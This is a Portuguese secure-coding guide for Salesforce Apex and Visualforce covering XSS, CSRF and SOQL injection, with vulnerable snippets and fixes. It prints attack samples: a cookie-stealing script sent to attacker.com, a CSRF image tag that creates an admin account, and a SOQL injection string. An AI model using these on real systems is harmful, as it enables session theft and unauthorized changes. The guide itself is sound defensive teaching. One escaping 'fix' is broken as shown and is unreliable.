Diretrizes de segurança para desenvolvimento no Apex e no Visualforce

O aplicativo da Web inclui scripts mal-intencionados em uma resposta a um usuário que, inadvertidamente, se torna vítima do ataque. O atacante usa o aplicativo da Web como intermediário no ataque, tirando vantagem da confiança da vítima no próprio aplicativo da Web. A maioria dos aplicativos que exibem páginas da web dinâmicas sem validar devidamente os dados provavelmente é vulnerável. Ataques contra o site são especialmente fáceis, caso a entrada de um usuário deva ser exibida a outro usuário. Algumas possibilidade óbvias são incluir um quadro de avisos ou sites com comentários de usuários, notícias ou arquivos de email.

<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

Neste caso, todos os cookies da página atual são enviados para www.attacker.com como a string de consulta na solicitação para o script cookie.cgi. Neste ponto, o atacante tem o cookie da sessão da vítima e pode se conectar ao aplicativo da web como se fosse a própria vítima.

O atacante pode postar um script mal-intencionado usando um site da web ou email. Os usuários do aplicativo da web não só veem a entrada do atacante como também o navegador consegue executar o script do atacante em um contexto confiável. Com essa habilidade, o atacante pode realizar uma ampla variedade de ataques contra a vítima. Esses ataques variam entre ações simples, como abrir e fechar janelas, até ataques mais mal-intencionados, como roubo de dados ou cookies da sessão, permitindo que o atacante tenha acesso total à sessão da vítima.

Para obter mais informações sobre esse tipo de ataque:

• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting

Dentro da Plataforma do Lightning, existem várias defesas anti-XSS em vigor. Por exemplo, o Salesforce possui filtros que filtram os caracteres prejudiciais na maioria dos métodos de saída. Para o desenvolvedor que usa classes e métodos de saída padrão, as ameaças de falhas de XSS foram amplamente mitigadas. No entanto, um desenvolvedor criativo ainda consegue encontrar formas de contornar com ou sem intenção os controles padrão.

Proteção existente

<apex:outputText> 
    {!$CurrentPage.parameters.userInput} 
</apex:outputText>

Desativar o escape nas marcas Visualforce

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Itens de programação não protegidos contra XSS

Código JavaScript personalizado e código nos componentes <apex:includeScript> não têm proteções XSS integradas. Esses itens permitem que o desenvolvedor personalize a página com comandos de script. Não faz sentido incluir filtros anti-XSS nos comandos que são adicionados intencionalmente à página.

JavaScript personalizado

Se você escrever seu próprio código JavaScript, a Plataforma do Lightning não terá como protegê-lo. Por exemplo, este código estará vulnerável ao XSS se utilizado no JavaScript.

<script> 
    var foo = location.search; 
    document.write(foo); 
</script>

<apex:includeScript>

Com o componente <apex:includeScript> do Visualforce, você pode incluir um script personalizado em uma página. Certifique-se de validar se o conteúdo é seguro e não inclui dados fornecidos pelo usuário. Por exemplo, este snippet é vulnerável, pois inclui entradas feitas pelo usuário como o valor do texto de script. O valor fornecido pela marca é um URL para o JavaScript incluir. Se um atacante puder enviar dados arbitrários a esse parâmetro como no exemplo, ele poderá direcionar a vítima para incluir qualquer arquivo JavaScript a partir de qualquer outro site da Web.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

<html>
    <head>
        <title>{!$Request.title}</title>
    </head>
    <body>Hello world!</body>
</html>

https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>

<html>
    <head>
        <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
    </head>
    <body>Hello world!</body>
</html>

<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

<script>var ret = "foo";alert('xss');//";</script>

Às vezes, a variável ret pode precisar de um escape adicional no lado do cliente mais adiante na página caso seja usada de forma que possa fazer com que os caracteres de controle HTML incluídos sejam interpretados.

As marcas de fórmula também podem ser usadas para incluir dados do objeto da plataforma. Embora os dados sejam retirados diretamente da organização do usuário, eles ainda deverão ser escapados antes do uso para evitar que eles executem o código no contexto de outros usuários, como aqueles com níveis de privilégio mais altos. Somente usuários dentro da mesma organização podem realizar esses tipos de ataques. Esses ataques minam os papéis do usuário e reduzem a integridade dos registros de auditoria. Os dados podem ser importados de origens externas e não filtrados em busca de conteúdo malicioso.

<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

Em outras palavras, a página do atacante contém um URL que executa uma ação no seu site. Se o usuário ainda estiver conectado à sua página da web ao visitar a página do atacante, o URL será recuperado e as ações serão executadas. Esse ataque é bem-sucedido, pois o usuário ainda está autenticado na sua página da web. Esse é um exemplo simples, e o atacante pode ser mais criativo usando scripts para gerar a solicitação de callback ou até usar ataques de CSRF contra seus métodos AJAX.

Para obter mais informações e defesas tradicionais:

• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries

Dentro da Plataforma do Lightning, o Salesforce implementou um token anti-CSRF para evitar esse tipo de ataque. Todas as páginas incluem uma sequência aleatória de caracteres na forma de um campo de formulário oculto. No carregamento da próxima página, o aplicativo verifica a validade dessa string e não executa o comando se o valor for correspondente ao valor esperado. Esse recurso o protege quando você estiver usando todos os controladores e métodos padrão.

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass { 
  public void init() { 
    Id id = ApexPages.currentPage().getParameters().get('id'); 
    Account obj = [select id, Name FROM Account WHERE id = :id]; 
    delete obj; 
    return ; 
  }
}

Sem saber, o desenvolvedor contornou os controles anti-CSRF ao desenvolver seu próprio método de ação. O parâmetro id foi lido e usado no código. O token anti-CSRF nunca é lido ou validado. Uma página da Web do atacante pode direcionar o usuário para esta página usando um ataque CSRF e fornecendo qualquer valor para o parâmetro id.

Não existem defesas integradas para situações como essa e os desenvolvedores devem ter cuidado ao escrever páginas cuja ação se baseia em um parâmetro fornecido pelo usuário, como a variável id no exemplo anterior. Uma possível solução pode ser inserir uma página de confirmação intermediária antes de executar a ação para garantir que o usuário pretendia mesmo acessar a página. Outras sugestões são encurtar o tempo limite da sessão ociosa e educar os usuários a fazerem logout da sessão ativa e não usarem o navegador para acessarem outros sites enquanto estiverem autenticados.

Como o Salesforce tem uma defesa integrada contra CSRF, seus usuários poderão encontrar um erro quando tiverem diversas páginas de login do Salesforce abertas. Se o usuário efetuar login no Salesforce em uma guia e, em seguida, tentar fazer login em outra, ele verá este erro: A página que você enviou foi inválida para sua sessão. Os usuários podem fazer login com êxito atualizando a página de login ou tentado fazer login uma segunda vez.

O Apex não usa SQL, mas usa sua própria linguagem de consulta a banco de dados, SOQL. A SOQL é muito mais simples e com funcionalidades mais limitadas que a SQL. Os riscos são muito menores para a injeção SOQL que para a injeção SQL, mas os ataques são quase idênticos à tradicional injeção SQL. A injeção SQL/SOQL envolve pegar a entrada fornecida pelo usuário e usar esses valores em uma consulta SOQL dinâmica. Se a entrada não for validada, ela poderá incluir comandos SOQL que, de fato, modificam a instrução SOQL e, assim, enganam o aplicativo para executar comandos não desejados.

Vulnerabilidade à injeção SOQL no Apex

<apex:page controller="SOQLController" >
    <apex:form>
        <apex:outputText value="Enter Name" />
        <apex:inputText value="{!name}" />
        <apex:commandButton value="Query" action="{!query}“ />
    </apex:form>
</apex:page>
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    } 
    public PageReference query() {
        String qryString = 'SELECT Id FROM Contact WHERE ' +
            '(IsDeleted = false and Name like \'%' + name + '%\')';
        List<Contact> queryResult = Database.query(qryString);
        System.debug('query result is ' + queryResult);
        return null;
    }
}

// User supplied value: name = Bob 
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

// User supplied value for name: test%') OR (Name LIKE '

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Agora, os resultados mostram todos os contatos, não apenas os que não foram excluídos. Uma falha na injeção SOQL pode ser usada para modificar a lógica de qualquer consulta vulnerável.

Defesas da injeção SOQL

public class SOQLController { 
    public String name { 
        get { return name;} 
        set { name = value;} 
    } 
    public PageReference query() { 
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
           (IsDeleted = false and Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null; 
    } 
}

Se você precisar usar SOQL dinâmico, use o método escapeSingleQuotes para sanitizar a entrada fornecida pelo usuário. Esse método adiciona o caractere de escape (\) a todas as aspas simples em uma string que seja aprovada por um usuário. O método garante que todas as aspas simples sejam tratadas como strings que terão uma outra aspa simples para fechar, e não como comandos do banco de dados.

public class customController { 
    public void read() { 
        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
    } 
}

public with sharing class customController { 
    . . . 
}

A palavra-chave with sharing direciona a plataforma para usar permissões de compartilhamento de segurança do usuário que está logado e não conceder acesso total a todos os registros.